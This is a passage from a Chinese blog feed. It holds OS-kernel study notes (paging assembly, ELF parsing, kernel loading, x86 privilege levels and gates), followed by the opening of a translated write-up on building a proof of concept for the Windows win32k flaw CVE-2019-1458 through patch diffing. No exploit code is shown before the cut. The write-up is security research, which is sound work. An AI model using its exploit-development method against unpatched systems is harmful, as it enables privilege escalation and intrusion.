将gdt描述符中视频段描述符中的段基址+0xc0000000</span><br><span class="line">   mov ebx, [gdt_ptr + 2] ; gdt地址</span><br><span class="line">   or dword [ebx + 0x18 + 4], 0xc0000000</span><br><span class="line">   ; 视频段是第3个段描述符,每个描述符是8字节,故0x18</span><br><span class="line">   ; 段描述符的高4字节的最高位是段基址的第31~24位</span><br><span class="line">   </span><br><span class="line">   ; 将gdt的基址加上0xc0000000使其成为内核所在的高地址</span><br><span class="line">   add dword [gdt_ptr + 2], 0xc0000000</span><br><span class="line">   add esp, 0xc0000000 ; 将栈指针同样映射到内核地址</span><br><span class="line"></span><br><span class="line">   ; 把页目录地址赋给cr3</span><br><span class="line">   mov eax, PAGE_DIR_TABLE_POS</span><br><span class="line">   mov cr3, eax</span><br><span class="line">   </span><br><span class="line">   ; 打开cr0的pg位(第31位)</span><br><span class="line">   mov eax, cr0</span><br><span class="line">   or eax, 0x80000000</span><br><span class="line">   mov cr0, eax</span><br><span class="line">   </span><br><span class="line">   ; 在开启分页后，用gdt新的地址重新加载</span><br><span class="line">   lgdt [gdt_ptr] ; 重新加载</span><br><span class="line">   </span><br><span class="line">   mov byte [gs:160], &apos;V&apos;</span><br><span class="line">   ; 视频段段基址已经被更新,用字符V表示virtual addr</span><br><span class="line">   jmp $</span><br><span class="line">   </span><br><span class="line">;-------------   创建页目录及页表   ---------------</span><br><span class="line">; 创建页目录以及页表</span><br><span class="line">setup_page:</span><br><span class="line">    ; 页目录表占据4KB空间，清零之</span><br><span class="line">    mov ecx, 4096</span><br><span class="line">    mov esi, 0</span><br><span class="line">.clear_page_dir:   </span><br><span class="line">    mov byte [PAGE_DIR_TABLE_POS + esi], 0</span><br><span class="line">    inc esi</span><br><span class="line">    loop .clear_page_dir</span><br><span class="line"></span><br><span class="line">; 创建页目录表(PDE)</span><br><span class="line">.create_pde:</span><br><span class="line">    mov eax, PAGE_DIR_TABLE_POS</span><br><span class="line">    ; 0x1000为4KB，加上页目录表起始地址便是第一个页表的地址</span><br><span class="line">    add eax, 0x1000</span><br><span class="line">    mov ebx, eax</span><br><span class="line"></span><br><span class="line">    ; 设置页目录项属性</span><br><span class="line">    or eax, PG_US_U | PG_RW_W | PG_P</span><br><span class="line">    ; 设置第一个页目录项</span><br><span class="line">    mov [PAGE_DIR_TABLE_POS], eax</span><br><span class="line">    ; 第768(内核空间的第一个)个页目录项，与第一个相同，这样第一个和768个都指向低端4MB空间</span><br><span class="line">    mov [PAGE_DIR_TABLE_POS + 0xc00], eax</span><br><span class="line">    ; 最后一个表项指向自己，用于访问页目录本身</span><br><span class="line">    sub eax, 0x1000</span><br><span class="line">    mov [PAGE_DIR_TABLE_POS + 4092], eax</span><br><span class="line"></span><br><span class="line">; 创建页表</span><br><span class="line">    mov ecx, 256</span><br><span class="line">    mov esi, 0</span><br><span class="line">    mov edx, PG_US_U | PG_RW_W | PG_P</span><br><span class="line">.create_pte:</span><br><span class="line">    mov [ebx + esi * 4], edx</span><br><span class="line">    add edx, 4096</span><br><span class="line">    inc esi</span><br><span class="line">    loop .create_pte</span><br><span class="line"></span><br><span class="line">; 创建内核的其它PDE</span><br><span class="line">    mov eax, PAGE_DIR_TABLE_POS</span><br><span class="line">    add eax, 0x2000</span><br><span class="line">    or eax, PG_US_U | PG_RW_W | PG_P </span><br><span class="line">    mov ebx, PAGE_DIR_TABLE_POS</span><br><span class="line">    mov ecx, 254</span><br><span class="line">    mov esi, 769</span><br><span class="line">.create_kernel_pde:</span><br><span class="line">    mov [ebx + esi * 4], eax</span><br><span class="line">    inc esi</span><br><span class="line">    add eax, 0x1000</span><br><span class="line">    loop .create_kernel_pde</span><br><span class="line">    ret</span><br></pre></td></tr></table></figure><p>编译运行，其中编译count的参数根据实际大小调整，这里我编译设置的是3，运行结果如下图，其中红框中gdt段基址已经修改为大于<code>0xc0000000</code>，也就是3GB之上的内核地址空间，通过<code>info tab</code>可查看地址映射关系，其中箭头左边是虚拟地址，右边是对应的物理地址</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/39.png" alt="image-20200508083919353"></p><p>总结虚拟地址获取物理地址的过程：</p><p>先要从 CR3 寄存器中获取页目录表物理地址，然后用虚拟地址的高 10 位乘以 4 的积作为在页目录表中的偏移量去寻址目录项 pde ，从 pde 中读出页表物理地址，然后再用虚拟地址的中间 10 位乘以 4 的积作为在该页表中的偏移量去寻址页表项 pte，从该 pte 中读出页框物理地址，用虚拟地址的低 12 位作为该物理页框的偏移量。</p><h2 id="快表TLB"><a href="#快表TLB" class="headerlink" title="快表TLB"></a>快表TLB</h2><p>　　因为从虚拟地址映射到物理地址确实比较麻烦，所以为了提高效率，intel自然想得到用一个缓存装置TLB。结构如下，更新TLB的方法有两种，重新加载CR3和指令<code>invlpg m</code>，其中m表示操作数为虚拟内存地址，如更新虚拟地址0x1234对应的条目指令为<code>invlpg [0x1234]</code></p><table><thead><tr><th>虚拟地址高20位(虚拟页框号)</th><th>属性位</th><th>物理地址高20位(物理页框号)</th></tr></thead><tbody><tr><td>…</td><td>…</td><td>…</td></tr></tbody></table><h2 id="ELF格式浅析"><a href="#ELF格式浅析" class="headerlink" title="ELF格式浅析"></a>ELF格式浅析</h2><p>我们下一步的目标是在内核中使用C语言，因为C语言是高级语言，在内核中的C语言用gcc编译需要指定很多参数，避免编译器添加许多不必要的函数。然而在Linux下C语言编译而成的可执行文件格式为ELF，想在我们的内核中运行ELF程序首先需要对其进行解析，下面简单介绍一下ELF文件格式，ELF文件格式分为文件头和文件体部分，文件头存放程序中其他的一些头表信息，文件体则具体的对这些表进行描述。ELF格式的作用体现在链接阶段和运行阶段两个方面，其布局如下图所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/40.png" alt="image-20200508083919353"></p><p>其中elf header的结构如下所示，这里的很多结构都来自Linux源码<code>/usr/include/elf.h</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 32位elf头 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Elf32_Ehdr</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">char</span> e_ident[<span class="number">16</span>];</span><br><span class="line">    Elf32_Half e_type;</span><br><span class="line">    Elf32_Half e_machine;</span><br><span class="line">    Elf32_Word e_version;</span><br><span class="line">    Elf32_Addr e_entry;</span><br><span class="line">    Elf32_Off e_phoff;</span><br><span class="line">    Elf32_Off e_shoff;</span><br><span class="line">    Elf32_Word e_flags;</span><br><span class="line">    Elf32_Half e_ehsize;</span><br><span class="line">    Elf32_Half e_phentsize;</span><br><span class="line">    Elf32_Half e_phnum;</span><br><span class="line">    Elf32_Half e_shentsize;</span><br><span class="line">    Elf32_Half e_shnum;</span><br><span class="line">    Elf32_Half e_shstrndx;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>其中的一些数据类型如下</p><table><thead><tr><th style="text-align:left">数据类型名称</th><th style="text-align:left">字节大小</th><th>对齐</th><th style="text-align:left">意义</th></tr></thead><tbody><tr><td style="text-align:left">Elf32_Half</td><td style="text-align:left">2</td><td>2</td><td style="text-align:left">无符号中等大小的整数</td></tr><tr><td style="text-align:left">Elf32_Word</td><td style="text-align:left">4</td><td>4</td><td style="text-align:left">无符号大整数</td></tr><tr><td style="text-align:left">Elf32_Addr</td><td style="text-align:left">4</td><td>4</td><td style="text-align:left">无符号程序运行地址</td></tr><tr><td style="text-align:left">Elf32_Off</td><td style="text-align:left">4</td><td>4</td><td style="text-align:left">无符号的文件偏移量</td></tr></tbody></table><p>下面介绍一些关键成员，其中<code>e_ident[16]</code>数组功能如下，其大小是16字节，存放一些文件属性信息</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/41.png" alt></p><p><code>e_type</code>占用2字节，指定 elf 目标文件的类型</p><table><thead><tr><th>elf目标文件类型</th><th>取值</th><th>意义</th></tr></thead><tbody><tr><td>ET_NONE</td><td>0</td><td>未知目标文件格式</td></tr><tr><td>ET_REL</td><td>1</td><td>可重定位文件</td></tr><tr><td>ET_EXEC</td><td>2</td><td>可执行文件</td></tr><tr><td>ET_DYN</td><td>3</td><td>动态共享目标文件</td></tr><tr><td>ET_CORE</td><td>4</td><td>core文件，即程序崩溃时其内存映像的转储格式</td></tr><tr><td>ET_LOPROC</td><td>0xff00</td><td>特定处理器文件的扩展下边界</td></tr><tr><td>ET_HIPROC</td><td>0xffff</td><td>特定处理器文件的扩展上边界</td></tr></tbody></table><p>剩下的一些字段如下，想更具体了解的可以自己百度</p><table><thead><tr><th>字段</th><th>大小(字节)</th><th style="text-align:center">意义</th></tr></thead><tbody><tr><td>e_machine</td><td>2</td><td style="text-align:center">支持的硬件平台</td></tr><tr><td>e_version</td><td>4</td><td style="text-align:center">表示版本信息</td></tr><tr><td>e_entry</td><td>4</td><td style="text-align:center">操作系统运行该程序时，将控制权转交到的虚拟地址</td></tr><tr><td>e_phoff</td><td>4</td><td style="text-align:center">程序头表在文件内的字节偏移量。如果没有程序头表，该值为0</td></tr><tr><td>e_shoff</td><td>4</td><td style="text-align:center">节头表在文件内的字节偏移量。若没有节头表，该值为0</td></tr><tr><td>e_flags</td><td>4</td><td style="text-align:center">与处理器相关的标志</td></tr><tr><td>e_ehsize</td><td>2</td><td style="text-align:center">指明 elf header 的字节大小</td></tr><tr><td>e_phentsize</td><td>2</td><td style="text-align:center">指明程序头表(program header table )中每个条目(entry)的字节大小</td></tr><tr><td>e_phnum</td><td>2</td><td style="text-align:center">指明程序头表中条目的数量。实际上就是段的个数</td></tr><tr><td>e_shentsize</td><td>2</td><td style="text-align:center">节头表中每个条目的字节大小，即每个用来描述节信息的数据结构的字节大小</td></tr><tr><td>e_shnum</td><td>2</td><td style="text-align:center">指明节头表中条目的数量。实际上就是节的个数</td></tr><tr><td>e_shstrndx</td><td>2</td><td style="text-align:center">指明 string name table 在节头表中的索引 index</td></tr></tbody></table><p>下面再介绍一下<code>Elf32_Phdr</code>结构，此段是指程序中的某个数据或代码的区域段落，例如代码段或数据段，这个段不是内存中的段，此段是磁盘上程序中的一个段，下面是其结构</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Elf32_Phdr</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    Elf32_Word p_type;</span><br><span class="line">    Elf32_Off p_offset;</span><br><span class="line">    Elf32_Addr p_vaddr;</span><br><span class="line">    Elf32_Addr p_paddr;</span><br><span class="line">    Elf32_Word p_filesz;</span><br><span class="line">    Elf32_Word p_memsz;</span><br><span class="line">    Elf32_Word p_flags;</span><br><span class="line">    Elf32_Word p_align;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>各个字段的意义如下表</p><table><thead><tr><th>字段</th><th style="text-align:center">意义</th></tr></thead><tbody><tr><td>p_type</td><td style="text-align:center">段类型</td></tr><tr><td>p_offset</td><td style="text-align:center">本段在文件的偏移量</td></tr><tr><td>p_vaddr</td><td style="text-align:center">本段在内存中起始的虚拟地址</td></tr><tr><td>p_paddr</td><td style="text-align:center">仅用于与物理地址相关的系统中</td></tr><tr><td>p_filesz</td><td style="text-align:center">本段在文件中的大小</td></tr><tr><td>p_memsz</td><td style="text-align:center">本段在内存中的大小</td></tr><tr><td>p_flags</td><td style="text-align:center">本段相关的标志</td></tr><tr><td>p_align</td><td style="text-align:center">本段在文件和内存中的对齐方式</td></tr></tbody></table><h2 id="载入内核"><a href="#载入内核" class="headerlink" title="载入内核"></a>载入内核</h2><p>　　Linux下可以用<code>readelf</code>命令解析ELF文件，下面是我们在kernel目录下新添加的测试代码，因为是64位操作系统，编译命令需要如下修改，我们下一步就是将这个简单的elf文件加载入内核，物理内存中0x900是loader.bin的加载地址，其开始部分是不能覆盖的GDT，预计其大小是小于2000字节，保守起见这里选起始的物理地址为0x1500，所以链接命令指定虚拟起始地址0xc0001500</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/42.png" alt></p><p>下面通过<code>dd</code>命令将其写入磁盘，为了不纠结count的赋值，这里直接赋值为200，seek赋值为9，写在第9扇区</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo dd if=./kernel.bin of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img bs=512 count=200 seek=9 conv=notrunc</span><br></pre></td></tr></table></figure><p>写完之后我们需要修改loader.S中的内容，分两步完成</p><ul><li>加载内核：内核文件加载到内存缓冲区</li><li>初始化内核：需要在分页后，将加载进来的elf内核文件安置到相应的虚拟内存地址，然后跳过去执行，从此loader的工作结束</li></ul><p>内核的加载地址选取的是<code>0x7e00~0x9fbff</code>范围中的0x70000，添加如下片断</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">; ------------------ 加载内核 ------------------</span><br><span class="line">mov eax, KERNEL_START_SECTOR  ; kernel.bin所在的扇区号0x9</span><br><span class="line">mov ebx, KERNEL_BIN_BASE_ADDR ; 0x70000</span><br><span class="line">; 从磁盘读出后,写入到ebx指定的地址</span><br><span class="line">mov ecx, 200 ; 读入的扇区数</span><br><span class="line"></span><br><span class="line">call rd_disk_m_32 ; eax,ebx,ecx均为参数,从硬盘上读取数据</span><br><span class="line"></span><br><span class="line">; 创建页目录及页表并初始化页内存位图</span><br><span class="line">call setup_page</span><br></pre></td></tr></table></figure><p>下一步是初始化内核的工作，我们需要遍历<code>kernel.bin</code>程序中所有的段，因为它们才是程序运行的实质指令和数据的所在地，然后将各段拷贝到自己被编译的虚拟地址中，如下添加的是在<code>loader.S</code>中的内容，注释已经很详细了</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line">   ; -------------------------   加载kernel  ----------------------</span><br><span class="line">   [略...]</span><br><span class="line">   ; 打开cr0的pg位(第31位)</span><br><span class="line">   mov eax, cr0</span><br><span class="line">   or eax, 0x80000000</span><br><span class="line">   mov cr0, eax</span><br><span class="line">   </span><br><span class="line">   ; 在开启分页后，用gdt新的地址重新加载</span><br><span class="line">   lgdt [gdt_ptr] ; 重新加载</span><br><span class="line">   </span><br><span class="line">   jmp SELECTOR_CODE:enter_kernel  ; 强制刷新流水线,更新gdt,不刷新也可以</span><br><span class="line">enter_kernel:  </span><br><span class="line">   call kernel_init</span><br><span class="line">   mov esp, 0xc009f000     ;进入内核之后栈也要修改</span><br><span class="line">   jmp KERNEL_ENTRY_POINT  ; 用地址0x1500访问测试，结果ok</span><br><span class="line">;----------将kernel.bin中的segment拷贝到编译的地址----------</span><br><span class="line">kernel_init:</span><br><span class="line">   xor eax, eax</span><br><span class="line">   xor ebx, ebx; 记录程序头表地址</span><br><span class="line">   xor ecx, ecx; cx记录程序头表中的program header数量</span><br><span class="line">   xor edx, edx; dx记录program header尺寸,即e_phentsize</span><br><span class="line"></span><br><span class="line">   mov dx, [KERNEL_BIN_BASE_ADDR + 42] ; 偏移文件42字节处的属性是e_phentsize,表示program header大小</span><br><span class="line">   mov ebx, [KERNEL_BIN_BASE_ADDR + 28] ; 偏移文件开始部分28字节的地方是e_phoff,表示第1个program header在文件中的偏移量</span><br><span class="line"></span><br><span class="line">   add ebx, KERNEL_BIN_BASE_ADDR</span><br><span class="line">   mov cx, [KERNEL_BIN_BASE_ADDR + 44]    ; 偏移文件开始部分44字节的地方是e_phnum,表示有几个program header</span><br><span class="line">.each_segment:</span><br><span class="line">   cmp byte [ebx + 0], PT_NULL ; 若p_type等于 PT_NULL,说明此program header未使用。</span><br><span class="line">   je .PTNULL</span><br><span class="line">   </span><br><span class="line">   ;为函数memcpy压入参数,参数是从右往左依然压入.函数原型类似于 memcpy(dst,src,size)</span><br><span class="line">   push dword [ebx + 16] ; program header中偏移16字节的地方是p_filesz,压入函数memcpy的第三个参数:size</span><br><span class="line">   mov eax, [ebx + 4] ; 距程序头偏移量为4字节的位置是p_offset</span><br><span class="line">   add eax, KERNEL_BIN_BASE_ADDR  ; 加上kernel.bin被加载到的物理地址,eax为该段的物理地址</span><br><span class="line">   push eax</span><br><span class="line">   push dword [ebx + 8] ; 压入函数memcpy的第一个参数:目的地址,偏移程序头8字节的位置是p_vaddr，这就是目的地址</span><br><span class="line">   call mem_cpy ; 调用mem_cpy完成段复制</span><br><span class="line">   add esp,12   ; 清理栈中压入的三个参数, 3 * 4 = 12 字节</span><br><span class="line">.PTNULL:</span><br><span class="line">   add ebx, edx  ; edx为program header大小,即e_phentsize,在此ebx指向下一个program header </span><br><span class="line">   loop .each_segment</span><br><span class="line">   ret</span><br><span class="line">   </span><br><span class="line">;----------  逐字节拷贝 mem_cpy(dst,src,size) ------------</span><br><span class="line">;输入:栈中三个参数(dst,src,size)</span><br><span class="line">;输出:无</span><br><span class="line">;---------------------------------------------------------</span><br><span class="line">mem_cpy:</span><br><span class="line">cld ; 控制重复字符递增方式,也就是edi和esi每复制一次就加一个单位大小,相对的指令为std</span><br><span class="line">push ebp</span><br><span class="line">mov esp, ebp</span><br><span class="line">push ecx ; rep指令用到了ecx，但ecx对于外层段的循环还有用，故先入栈备份</span><br><span class="line">mov edi, [ebp + 8]  ; dst</span><br><span class="line">mov esi, [ebp + 12] ; src</span><br><span class="line">mov ecx, [ebp + 16] ; size</span><br><span class="line">rep movsb ; 逐字节拷贝,直到ecx为0</span><br><span class="line"></span><br><span class="line">; 恢复环境</span><br><span class="line">pop ecx</span><br><span class="line">pop ebp</span><br><span class="line">ret</span><br></pre></td></tr></table></figure><p>最终的一个内存布局如下，参考之前的1MB实模式地址图来对应就明白了</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/43.png" alt></p><h2 id="特权管理"><a href="#特权管理" class="headerlink" title="特权管理"></a>特权管理</h2><p>　　特权级按照权力分为0、1、2、3级，数字越小，级别越高。计算机启动之初就在0级特权运行，MBR则就是0级权限，谈到权限就得提到TSS任务状态段，程序拥有此结构才能运行，相当于一个任务的身份证，结构如下图所示，大小为104字节，其中有很多寄存器信息，而TSS则是由TR寄存器加载的</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/44.png" alt></p><p>每个特权级只能有一个栈，特权级在变换的时候需要用到不同特权级下的栈，特权转移分为两类，一类是中断门和调用门实现低权限到高权限，另一类是由调用返回指令从高权限到低权限，这是唯一一种让处理器降低权限的方法。</p><p>对于低权限到高权限的情况，处理器需要提前记录目标栈的地方，更新SS和ESP，也就是说我们只需要提前在TSS中记录好高特权级的栈地址即可，也就是说TSS不需要记录3级特权的栈，因为它的权限最低。</p><p>对于高权限到低权限的情况，一方面因为处理器不需要在TSS中寻找低特权级目标栈的，也就是说TSS也不需要记录3级特权的栈，另一方面因为低权限的栈地址已经存在了，这是由处理器的向高特权级转移指令(int、call等)实现机制决定的。下面就介绍一下权限相关的一些知识点：</p><p><strong>CPL、DPL、RPL</strong></p><p>CPL是当前进程的权限级别(Current Privilege Level)，是当前正在执行的代码所在的段的特权级，存在于cs寄存器的低两位。</p><p>RPL是进程对段访问的请求权限(Request Privilege Level)，是对于段选择子而言的，每个段选择子有自己的RPL，它说明的是进程对段访问的请求权限，有点像函数参数。而且RPL对每个段来说不是固定的，两次访问同一段时的RPL可以不同。RPL可能会削弱CPL的作用，例如当前CPL=0的进程要访问一个数据段，它把段选择符中的RPL设为3，这样它对该段仍然只有特权为3的访问权限。</p><p>DPL存储在段描述符中，规定访问该段的权限级别(Descriptor Privilege Level)，每个段的DPL固定。当进程访问一个段时，需要进程特权级检查，一般要求DPL &gt;= max {CPL, RPL}</p><h2 id="门结构"><a href="#门结构" class="headerlink" title="门结构"></a>门结构</h2><p>处理器只有通过门结构才能由低特权级转移到高特权级，也可以通过门结构进行平级跳转，所以门相当于一个跳板，当前特权级首先需要大于门的DPL特权级，然后才能使用门来跳到想去的特权级，处理器就是这样设计的，四种门结构分别是：任务门、中断门、陷阱门、调用门。门描述符和段描述符类似，都是8字节大小的数据结构，用来描述门通向的代码，如下所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/45.png" alt></p><p>任务门可以放在GDT、LDT、IDT中，调用门位于GDT、LDT中，中断门和陷阱门仅位于IDT中调用方法如下</p><p><strong>调用门</strong></p><p>call 和 jmp 指令后接调用门选择子为参数，以调用函数例程的形式实现从低特权向高特权转移，可用来实现系统调用。 call 指令使用调用门可以实现向高特权代码转移， jmp 指令使用调用门只能实现向平级代码转移。若需要参数传递，则0~4位表示参数个数，然后在权限切换的时候自动在栈中复制参数。关于调用门的过程保护，参考P240</p><p><strong>中断门</strong></p><p>以 int 指令主动发中断的形式实现从低特权向高特权转移， Linux 系统调用便用此中断门实现。</p><p><strong>陷阱门</strong></p><p>以 int3 指令主动发中断的形式实现从低特权向高特权转移，这一般是编译器在调试时用。</p><p><strong>任务门</strong></p><p>任务以任务状态段 TSS 为单位，用来实现任务切换，它可以借助中断或指令发起。当中断发生时，如果对应的中断向量号是任务门，则会发起任务切换。也可以像调用门那样，用 call 或 jmp 指令后接任务门的选择子或任务 TSS 的选择子。</p><h2 id="IO特权级"><a href="#IO特权级" class="headerlink" title="IO特权级"></a>IO特权级</h2><p>保护模式下，处理器中的”阶级”不仅体现在数据和代码的访问，还体现在以下只有在0特权级下被执行的特权指令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hlt、lgdt、ltr、popf等</span><br></pre></td></tr></table></figure><p>还有一些IO敏感指令如<code>in、out、cli、sti</code>等访问端口的指令也需要在相应的特权级下操作，如果当前特权级小于 IOPL 时就会产生异常，IOTL 在 eflags 寄存器中，没有特殊的指令设置 eflags 寄存器，只有用 popf 结合 iretd 指令，在栈中修改，当然也只有在0特权下才能操作，eflags 寄存器中的 IOTL 位如下所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/46.png" alt></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;本系列文章主要记录阅读《操作系统真相还原》一书的笔记，主要是记录实现部分，如果您觉得看着很唐突的话很正常，因为我主要是记录代码和实现的过程，如果您能直接看懂的话，那功力是比较深厚的了，不过如果您没看过这本书的话，我还是非常建议您看着这本书和我一起做实验。&lt;/p&gt;
&lt;p&gt;很久
      
    
    </summary>
    
      <category term="Programming" scheme="https://thunderjie.github.io/categories/Programming/"/>
    
    
      <category term="OS Learning" scheme="https://thunderjie.github.io/tags/OS-Learning/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2019-1458: 从&#39;漏洞报告&#39;到POC的编写过程</title>
    <link href="https://thunderjie.github.io/2020/03/21/CVE-2019-1458-%E4%BB%8E-%E6%BC%8F%E6%B4%9E%E6%8A%A5%E5%91%8A-%E5%88%B0POC%E7%9A%84%E7%BC%96%E5%86%99%E8%BF%87%E7%A8%8B/"/>
    <id>https://thunderjie.github.io/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/</id>
    <published>2020-03-21T15:48:24.000Z</published>
    <updated>2020-05-07T03:26:12.072Z</updated>
    
    <content type="html"><![CDATA[<p><strong>本文翻译自： <a href="https://github.com/piotrflorczyk/cve-2019-1458_POC" target="_blank" rel="noopener">https://github.com/piotrflorczyk/cve-2019-1458_POC</a> ，仅供学习交流</strong></p><h2 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h2><p>卡巴斯基在12月发布了一篇关于<a href="https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/" target="_blank" rel="noopener">0day exploit used in the wild</a>的文章。这提起了我的兴趣，他们只是简单描述了漏洞的工作和利用方式，但却没有提供任何详细的POC。于是我决定尝试根据卡巴斯基博客的文章和补丁分析为该漏洞编写POC。</p><h2 id="信息搜集"><a href="#信息搜集" class="headerlink" title="信息搜集"></a>信息搜集</h2><p>第一件事就是我们需要尽可能的搜集有关此漏洞的信息。在阅读上文提到的博客中，我提取了以下信息：</p><ul><li>这个漏洞和窗口切换功能有关</li><li>需要模拟按下ALT键去触发</li><li>需要对未文档化的<code>NtUserMessageCall</code>函数进行两次调用</li><li>需要创建一个特殊的切换窗口</li><li>一些关于内核函数<code>win32k!DrawSwitchWndHilite</code>的文档</li></ul><p>除此之外还有一个很不错的反编译图片，显示了上面列出的一些内容。具体来说图片显示了：创建一个切换窗口，调用 <code>toggle_alt_key</code>函数并多次调用了<code>NtUserMessageCall</code>函数的过程(<a href="https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/" target="_blank" rel="noopener">图片来源</a>)</p><p><img src="/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/kespersky_windows_0day_wizardopium_03.png" alt="Part of decompiled exploit code"></p><p>有许多有用的信息，但是仍然没有描述对漏洞工作方式和触发的细节。</p><h2 id="补丁对比"><a href="#补丁对比" class="headerlink" title="补丁对比"></a>补丁对比</h2><p><a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458" target="_blank" rel="noopener">漏洞模块是win32k.sys</a>，我下载了该模块的修复和未修复版本。</p><p>对于win 7 x64而言，补丁编号是：</p><ul><li>修复编号： KB4530692 </li><li>未修复编号： KB4525233 </li></ul><p>可以从<a href="https://www.catalog.update.microsoft.com/Home.aspx" target="_blank" rel="noopener">微软官方补丁下载网站</a>去下载它们</p><p>下面是用 bindiff 比较两个版本的结果</p><p><img src="/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/bindiff_comparison.png" alt="win32k comparison"></p><p>在排除一些和功能性有关的<code>DebugHook</code>函数之后，我们需要关注的就是这个稍微改变了一些的 <code>InitFunctionTables()</code>函数表</p><p><img src="/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/InitFunctionTable_comparison.png" alt="InitFunctionTables changes"></p><p>这里肯定不是最关键的补丁所在。这不会帮助我们立即识别漏洞的关键点，但值得注意的是新添加的<code>*(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180)</code> ，这里可能存在和未初始化变量相关的漏洞。</p><h2 id="一步一步构造POC"><a href="#一步一步构造POC" class="headerlink" title="一步一步构造POC"></a>一步一步构造POC</h2><p>在本节中我会逐步构造触发此漏洞的POC，同时我也会分析清楚这个漏洞的根本原因。</p><h3 id="从何处开始"><a href="#从何处开始" class="headerlink" title="从何处开始"></a>从何处开始</h3><p>补丁对比一开始没有给出很多有用的信息，所以在开发的第一阶段，我主要是依据卡巴斯基的分析文章。为了有一个良好的测试环境，我提前准备了 Win7 SP1 x64的虚拟机并拥有最新版本的win32k补丁。需要注意的是我将Windbg附加到该虚拟机上进行内核调试，同时我还配置好了它的符号路径。</p><p>我决定通过博客文章中提到的<code>win32k!DrawSwitchWndHilite</code> 函数开始我的分析。有两个地方交叉引用到了它：<code>xxxMoveSwitchWndHilite</code>函数和<code>xxxPaintSwitchWindow</code>函数，后者立刻引起了我的注意，因为其中在<code>GetKeyState/GetAsyncKeyState</code> 周围调用到了博客中提到的关键函数并且它检查了ALT键是否被按下。</p><p><img src="/2020/03/21/CVE-2019-1458-从-漏洞报告-到POC的编写过程/DrawSwitchWndHilite_being_called.png" alt="Interesting callsite to 